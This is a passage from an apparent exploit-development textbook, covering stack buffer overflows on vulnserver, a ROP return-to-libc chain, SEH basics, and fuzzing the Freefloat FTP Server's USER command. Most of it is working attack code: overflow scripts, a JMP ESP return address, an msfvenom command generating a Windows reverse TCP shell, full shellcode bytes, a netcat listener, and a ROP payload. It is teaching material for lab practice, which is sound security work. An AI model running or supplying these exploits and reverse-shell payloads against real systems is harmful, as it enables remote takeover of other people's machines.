h7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1C
k2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6C
m7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1C
p2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6C
r7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1C
u2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6C
w7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1C
z2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6D
b7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1D
e2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6D
g7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1D
j2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6D
l7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1D
o2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6D
q7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1D
t2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6D
v7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1D
y2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6E
a7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1E
d2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6E
f7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1E
i2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6E
k7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1E
n2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6E
p7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1E
s2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6E
u7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1E
x2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6E
z7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1F
c2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6F
e7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1F
h2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6F
j7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1F
m2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6F
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o7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1F
r2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6F
t7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1F
w2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6F
y7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1G
b2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6G
d7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1G
g2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6G
i7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"

s.send(('TRUN .' + buffer + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

Now, let's run vulnserver. Then, open the Immunity Debugger as an administrator.
Navigate to File | Attach and select vulnserver: 



Exploit Development – Part 1 Chapter 7

[ 229 ]

Click on Attach and hit the run program. Then run our exploit, and look at what happens
inside the Immunity Debugger:

Let's take a look inside the registers:

Now, the EIP contains 396F4338. Let's try to find this pattern from our attacking machine:

./pattern_offset.rb -q 0x396f4338 -l 5000

The output for the preceding command can be seen in the following screenshot: 
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So, to control the instruction pointer, we need to inject 2006 As. Then, we need 4 bytes to
control the EIP register and the rest will be injected as a shellcode (5000-2006-4); that
gives us 2990 characters. Let's try it to make sure we are going in the right direction:

#!/usr/bin/python
import socket

server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
buffer =''
buffer+= 'A'*2006
buffer+= 'B'*4
buffer+= 'C'*(5000-2006-4)
s.send(('TRUN .' + buffer + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

This is what our payload should look like:
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Close the Immunity Debugger and start the application again. Then, start the exploit code
again. We should see Bs injected inside the EIP register:

It worked! I'm going to recheck again using the Immunity Debugger. Let's take a look inside
the Registers (FPU):
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Now we have control over the EIP register. Let's take a look inside the stack:

As you can see, there are our As, then 4 bytes of Bs that overflowed the EIP register, and 
then 299*0 of Cs .

What we are going to do in the next chapter is inject a shellcode in those Cs.
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Summary
In this chapter, we went through fuzzing and how to get the program to crash. Then, we
saw how to get the exact offset of the RIP register using the Metasploit Framework and a
very simple method of injecting a shellcode. Finally, we went through a complete example
of fuzzing and controlling the instruction pointer.

In the next chapter, we will continue with our example and see how to find a place for a
shellcode and make it work. Also, we will learn more techniques in the buffer overflow.
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Exploit Development – Part 2

In this chapter, we will continue our topic about exploit development. First, we will
continue and complete our previous example by injecting a shellcode. Then, we will talk
about a new technique, which is used to avoid the NX protection mechanism (NX will be
explained in the last chapter).

The following are the topics that we will cover in this chapter:

Injecting shellcode
Return-oriented programming
Structured exception handler

Injecting shellcode
Now, let's continue our example from the previous chapter. After we have control of the
instruction pointer, what we need is to inject a shellcode and redirect the instruction pointer
to point at it.
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For that to happen, we will need to find a home for the shellcode. It's easy, actually; it just
involves jumping to the stack. What we need now is to find that instruction:

Start vulnserver, then start the Immunity Debugger as an administrator, and1.
from the File menu, attach with vulnserver:



Exploit Development – Part 2 Chapter 8

[ 236 ]

Hit the run program icon and then right-click and select Search for; then, select2.
All Commands in all modules to search for any instruction within the
application itself or any related library:
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Then what we need to do is jump to the stack to execute our shellcode; so, let's3.
search for the JMP ESP instruction and hit Find:
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Let's copy the address of JMP ESP from kernel32.dll 7DD93132, then re-run4.
vulnserver inside the Immunity Debugger again, and hit the run program icon.

You can use any library, not just kernel32.dll. However, if you use the
system's libraries, such as kernel32.dll, then the address will change
each time Windows boots up due to the ASLR mechanism (which will be
explained in the last chapter); but if you use a library related to the
application and not related to the system, then the address will not
change.

Then, from the attacking machine, edit our exploit to be like this:5.

#!/usr/bin/python
import socket

server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
buffer =''
buffer+= 'A'*2006
buffer += '\x32\x31\xd9\x7d'
buffer+= 'C'*(5000-2006-4)
s.send(('TRUN .' + buffer + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
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Then, run the exploit. The instruction pointer is not pointing at 43434343, which6.
are our C characters:

Now we are ready to insert our shellcode. Let's create one using the Metasploit7.
Framework:

$ msfvenom -a x86 -platform Windows -p
windows/shell_reverse_tcp LHOST=172.16.89.1 LPORT=4321 -b
'\x00' -f python
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This command generates a reverse TCP shell to connect back to my attacking8.
machine on port 4321:

So, our final exploit should look like this:9.

#!/usr/bin/python
import socket
server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)

junk = 'A'*2006             \\ Junk value to overflow the stack

eip = '\x32\x31\xd9\x7d'    \\ jmp esp

nops = '\x90'*64    \\ To make sure that jump will be inside our
shellcode
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shellcode = ""
shellcode += "\xbb\x6e\x66\xf1\x4c\xd9\xe9\xd9\x74\x24\xf4\x5a\x2b"
shellcode += "\xc9\xb1\x52\x31\x5a\x12\x83\xea\xfc\x03\x34\x68\x13"
shellcode += "\xb9\x34\x9c\x51\x42\xc4\x5d\x36\xca\x21\x6c\x76\xa8"
shellcode += "\x22\xdf\x46\xba\x66\xec\x2d\xee\x92\x67\x43\x27\x95"
shellcode += "\xc0\xee\x11\x98\xd1\x43\x61\xbb\x51\x9e\xb6\x1b\x6b"
shellcode += "\x51\xcb\x5a\xac\x8c\x26\x0e\x65\xda\x95\xbe\x02\x96"
shellcode += "\x25\x35\x58\x36\x2e\xaa\x29\x39\x1f\x7d\x21\x60\xbf"
shellcode += "\x7c\xe6\x18\xf6\x66\xeb\x25\x40\x1d\xdf\xd2\x53\xf7"
shellcode += "\x11\x1a\xff\x36\x9e\xe9\x01\x7f\x19\x12\x74\x89\x59"
shellcode += "\xaf\x8f\x4e\x23\x6b\x05\x54\x83\xf8\xbd\xb0\x35\x2c"
shellcode += "\x5b\x33\x39\x99\x2f\x1b\x5e\x1c\xe3\x10\x5a\x95\x02"
shellcode += "\xf6\xea\xed\x20\xd2\xb7\xb6\x49\x43\x12\x18\x75\x93"
shellcode += "\xfd\xc5\xd3\xd8\x10\x11\x6e\x83\x7c\xd6\x43\x3b\x7d"
shellcode += "\x70\xd3\x48\x4f\xdf\x4f\xc6\xe3\xa8\x49\x11\x03\x83"
shellcode += "\x2e\x8d\xfa\x2c\x4f\x84\x38\x78\x1f\xbe\xe9\x01\xf4"
shellcode += "\x3e\x15\xd4\x5b\x6e\xb9\x87\x1b\xde\x79\x78\xf4\x34"
shellcode += "\x76\xa7\xe4\x37\x5c\xc0\x8f\xc2\x37\x43\x5f\x95\xc6"
shellcode += "\xf3\x62\x25\xd9\xe2\xea\xc3\xb3\xf4\xba\x5c\x2c\x6c"
shellcode += "\xe7\x16\xcd\x71\x3d\x53\xcd\xfa\xb2\xa4\x80\x0a\xbe"
shellcode += "\xb6\x75\xfb\xf5\xe4\xd0\x04\x20\x80\xbf\x97\xaf\x50"
shellcode += "\xc9\x8b\x67\x07\x9e\x7a\x7e\xcd\x32\x24\x28\xf3\xce"
shellcode += "\xb0\x13\xb7\x14\x01\x9d\x36\xd8\x3d\xb9\x28\x24\xbd"
shellcode += "\x85\x1c\xf8\xe8\x53\xca\xbe\x42\x12\xa4\x68\x38\xfc"
shellcode += "\x20\xec\x72\x3f\x36\xf1\x5e\xc9\xd6\x40\x37\x8c\xe9"
shellcode += "\x6d\xdf\x18\x92\x93\x7f\xe6\x49\x10\x8f\xad\xd3\x31"
shellcode += "\x18\x68\x86\x03\x45\x8b\x7d\x47\x70\x08\x77\x38\x87"
shellcode += "\x10\xf2\x3d\xc3\x96\xef\x4f\x5c\x73\x0f\xe3\x5d\x56"

injection = junk + eip + nops + shellcode
s.send(('TRUN .' + injection + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

Now, let's start vulnserver again. Then, set up a listener on our attacking10.
machine:

$ nc -lp 4321

It's time to try our exploit, and let's keep our eyes on the listener:11.

./exploit.py
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Then, from our listener shell, we execute the following command:12.

Let's confirm this using ipconfig:13.

Now we have control over our victim machine!14.

Return-oriented programming
What is return-oriented programming (ROP)?

Let's explain what ROP is in the simplest way. ROP is a technique used to exploit buffer
overflow vulnerability even if NX is enabled. The ROP technique can pass NX protection
techniques using ROP gadgets.

ROP gadgets are sequences of addresses for machine instructions, which are stored already
in the memory. So, if we could change the flow of execution to one of these instructions,
then we could take control over the application, and we can do so without uploading a
shellcode. Also, ROP gadgets end with the ret instruction. If you don't get it yet, it's okay;
we will perform an example to fully understand what ROP is.
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So, what we need is to install ropper, which is a tool to find ROP gadgets within a binary.
You can download it via its official repository on GitHub (https:/ / github. com/ sashs/
Ropper), 
or you can follow the instructions given here:

 $ sudo apt-get install python-pip
 $ sudo pip install capstone
 $ git clone https://github.com/sashs/ropper.git
 $ cd ropper
 $ git submodule init
 $ git submodule update

Let's take a look at the next vulnerable code, which will print out, Starting /bin/ls.
Execute the overflow function, which will take input from the user and then print it out
along with the size of the input:

#include <stdio.h>
#include <unistd.h>

int overflow()
{
    char buf[80];
    int r;
    read(0, buf, 500);
    printf("The buffer content %d, %s", r, buf);
    return 0;
}

int main(int argc, char *argv[])
{
    printf("Starting /bin/ls");
    overflow();
    return 0;
}

Let's compile it, but without disabling NX:

$ gcc -fno-stack-protector rop.c -o rop

Then, start gdb:

$ gdb ./rop

Now, let's confirm that NX is enabled:

$ peda checksec

https://github.com/sashs/Ropper
https://github.com/sashs/Ropper
https://github.com/sashs/Ropper
https://github.com/sashs/Ropper
https://github.com/sashs/Ropper
https://github.com/sashs/Ropper
https://github.com/sashs/Ropper
https://github.com/sashs/Ropper
https://github.com/sashs/Ropper
https://github.com/sashs/Ropper
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The output of the preceding command can be seen in the following screenshot: 

Let's now perform fuzzing and controlling RIP using PEDA instead of the Metasploit
Framework:

$ peda pattern_create 500 pattern

This will create a pattern of 500 characters and save a file named pattern. Now, let's read
this pattern as input:

$ run < pattern

The output of the preceding command can be seen in the following screenshot: 
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The program crashed. The next step is to examine the last element in the stack to calculate
the offset of EIP:

$ x/wx $rsp

We got the last element in the stack as 0x41413741 (if you are using the same OS, this
address should be the same). Now, let's see whether the offset of this pattern and the next
offset will be the exact offset of RIP:

$ peda pattern_offset 0x41413741

The output of the preceding command can be seen in the following screenshot: 

So the exact offset of RIP will start from 105. Let's confirm that too:

#!/usr/bin/env python
from struct import *

buffer = ""
buffer += "A"*104 # junk
buffer += "B"*6
f = open("input.txt", "w")
f.write(buffer)

This code should overflow RIP registers with six B characters:

$ chmod +x exploit.py
$ ./exploit.py

Then, from inside GDB, run the following command:

$ run < input.txt
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The output of the preceding command can be seen in the following screenshot: 

The preceding screenshot indicates that we are going in the right direction.

Since NX is enabled, we can't upload and run a shellcode, so let's use ROP with the return-
to-libc technique, which enables us to use calls from libc itself, which could enable us to call
the function. Here, we will use the system function to execute shell commands. Let's take a
look at the system man page:

$ man 3 system
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The output of the preceding command can be seen in the following screenshot: 

What we need is the address of the system function and also the location of the string of a
shell command—luckily, we have that inside our /bin/ls code.

The only thing we did was copy the location of the string into the stack. Now, we need to
find a way to copy the location to the RDI register to enable the system function to execute
the ls command. So, we need the ROP gadget, which can extract the address of the string
and copy it to the RDI register because the first argument should be in the RDI register.

Okay, let's start with the ROP gadget. Let's search for any ROP gadget related to the RDI
register. Then, navigate to the location where you installed ropper:

$ ./Ropper.py --file /home/stack/buffer-overflow/rop/rop --search "%rdi"
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The output of the preceding command can be seen in the following screenshot:

This ROP gadget is perfect: pop rdi; ret;, with the address 0x0000000000400653.
Now, we need to find out where exactly the system function is in the memory, from inside
GDB:

$ p system

The output of the preceding command can be seen in the following screenshot:

Now, we have also got the location of the system function with the address,
0x7ffff7a57590.

This address may be different on your operating system.

Let's get the location of the /bin/ls string, using GDB:

$ find "/bin/ls"

The output of the preceding command can be seen in the following screenshot:
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Now, we have got the location to the string with the address, 0x400697.

The logical order of the stack should be:

The address of the system function1.
The string pointer, which will be popped to the RDI register2.
The ROP gadget to extract pop, which is the last element in the stack to the RDI3.
register

Now, we need to push them into the stack in reverse order, using our exploit code:

#!/usr/bin/env python
from struct import *

buffer = ""
buffer += "A"*104 # junk
buffer += pack("<Q", 0x0000000000400653) # <-- ROP gadget
buffer += pack("<Q", 0x400697) #  <-- pointer to "/bin/ls"
buffer += pack("<Q", 0x7ffff7a57590) # < -- address of system function

f = open("input.txt", "w")
f.write(buffer)

Let's run the script to update input.txt:

$ ./exploit.py

Then, from GDB, run the following command:

$ run < input.txt

The logical order of the stack should be as follows:
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It worked! And as you can see, the ls command executed successfully. We found a way to
get around NX protection and exploit this code.

Structured exception handling
Structured exception handling (SEH) is simply an event that occurs during the execution
of a code. We can see SEH in high-programming languages, such as C++ and Python. Take a
look at the following code:

try:
    divide(6,0)
except ValueError:
    print "That value was invalid."

This is an example of dividing by zero, which will raise an exception. The program should
change the flow of execution to something else, which is doing whatever inside it.

SEH consists of two parts:

Exception registration record (SEH)
Next exception registration record (nSEH)

They are pushed into the stack in reverse order. So now how to exploit SEH? It's as simple
as a regular stack overflow:

This is what our exploit should look like. What we need exactly is to push an
instruction, pop pop ret, into SEH to make a jump to nSEH. Then, push a jump instruction
into nSEH to make a jump to the shellcode; so, our final shellcode should look like this:

We will cover a practical scenario in Chapter 11, Real-World Scenarios – Part 3, about
exploiting SEH.
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Summary
Here, we have briefly discussed exploit development, starting from fuzzing and how to
gain control over the instruction pointer. Then, we saw how to find a home for a shellcode
and change the flow of execution to that shellcode. Finally, we talked about a technique
called ROP for bypassing the NX protection technique, and took a quick look at SEH
exploiting techniques.

In the next chapter, we will go through real-world scenarios and build an exploit for real
applications.
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Real-World Scenarios – Part 1

Now we will recap this book by practicing fuzzing, controlling the instruction pointer, and
injecting a shellcode using real targets. What I'll do is navigate through exploit-db.com and
choose real targets from there.

Freefloat FTP Server
Let's start with the Freefloat FTP Server v1.0, which you can download it from here:
https://www.exploit- db. com/ apps/ 687ef6f72dcbbf5b2506e80a375377fa-
freefloatftpserver. zip. Also, you can see the exploit on Windows XP at https:/ /www.
exploit-db.com/exploits/ 40711/ .

https://exploit-db.com/
https://www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip
https://www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip
https://www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip
https://www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip
https://www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip
https://www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip
https://www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip
https://www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip
https://www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip
https://www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip
https://www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip
https://www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip
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The Freefloat FTP Server has many vulnerable parameters, which can be useful to practice
on, and we will choose one of them here to do a full exercise:

Now, let's download it from https:/ / www. exploit- db. com/ apps/
687ef6f72dcbbf5b2506e80a375377fa- freefloatftpserver. zip on our Windows machine
and unzip it. Now, open its directory, then open Win32, and start the FTP server. It will
show in the taskbar on the right-hand corner. Open it to see the configuration:
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The vulnerable server is up and running on port 21. Let's confirm that from our attacking
machine, using nc.

First, the IP address of our victim machine is 192.168.129.128:

Then from the attacking machine, execute the following command:

$ nc 192.168.129.128 21

The output of the preceding command can be seen in the following screenshot:

Let's try an anonymous access:

$ USER anonymous
$ PASS anonymous
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The output of the preceding command can be seen in the following screenshot:

We are in! How about if we focus on the USER parameter?

Fuzzing 
Since the manual way of using the nc command is not efficient, let's build a script to do so
using the Python language:

#!/usr/bin/python
import socket
import sys

junk =

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

Now, let's try the fuzzing phase with the USER parameter. Let's start with a junk value of
50:

#!/usr/bin/python
import socket
import sys

junk = 'A'*50

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')
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And from our victim machine, let's attach the Freefloat FTP Server inside the Immunity
Debugger and hit the run program once:
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Let's register the contents:

Then, make sure that the program is in the running state:



Real-World Scenarios – Part 1 Chapter 9

[ 258 ]

Now, let's run our exploit and then take a look at the Immunity Debugger:

$ ./exploit.py

The output of the preceding command can be seen in the following screenshot:

Nothing happened! Let's increase the junk value to 200:

#!/usr/bin/python
import socket
import sys

junk = 'A'*200

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

Let's re-run this exploit and watch the Immunity Debugger:

$ ./exploit.py
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The output of the preceding command can be seen in the following screenshot:

Again nothing happened; let's increase to 500:

#!/usr/bin/python
import socket
import sys

junk = 'A'*500

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

Then, run the exploit:

$ ./exploit.py
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The output of the preceding command can be seen in the following screenshot:

The program crashed! Let's take a look at the registers too:
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The instruction pointer is filled with our junk:

The stack is also filled with the junk value as expected, which takes us to the next phase.

Controlling the instruction pointer
In this phase, we will control the instruction pointer by calculating the exact offset of the
EIP register.

Let's create the pattern as we did before, using Metasploit Framework:

$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_create.rb -l 500
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The output of the preceding command can be seen in the following screenshot:

This is our pattern, so the exploit should look like this:

#!/usr/bin/python
import socket
import sys

junk =
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac
4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae
9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah
4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj
9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am
4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao
9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq'

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

Close the Immunity Debugger, re-run the Freefloat FTP Server, and attach it to the
Immunity Debugger. Then, hit the run program:

$ ./exploit.py
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The output of the preceding command can be seen in the following screenshot:

The current pattern inside the EIP is 37684136:
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We have the pattern located inside the EIP; now, let's get the exact offset of it:

$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_offset.rb -q 37684136 -l 500

The output of the preceding command can be seen in the following screenshot:

It's at offset 230; let's confirm that:

#!/usr/bin/python
import socket
import sys

junk = 'A'*230
eip = 'B'*4
injection = junk+eip

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+injection+'\r\n')

Close the Immunity Debugger and start it again along with the Freefloat FTP Server, attach
it inside the Immunity Debugger, and hit the run program. Then execute our exploit:

$ ./exploit.py
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The output of the preceding command can be seen in the following screenshot:

Also, let's look at the registers:

EIP now contains 42424242; so we now control EIP.
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Let's move on to the next phase, which is finding a place for our shellcode and injecting it.

Injecting shellcode 
Let's take a look at another approach to analyzing our pattern inside the Freefloat FTP
Server:

#!/usr/bin/python
import socket
import sys

junk =
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac
4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae
9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah
4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj
9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am
4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao
9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq'

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

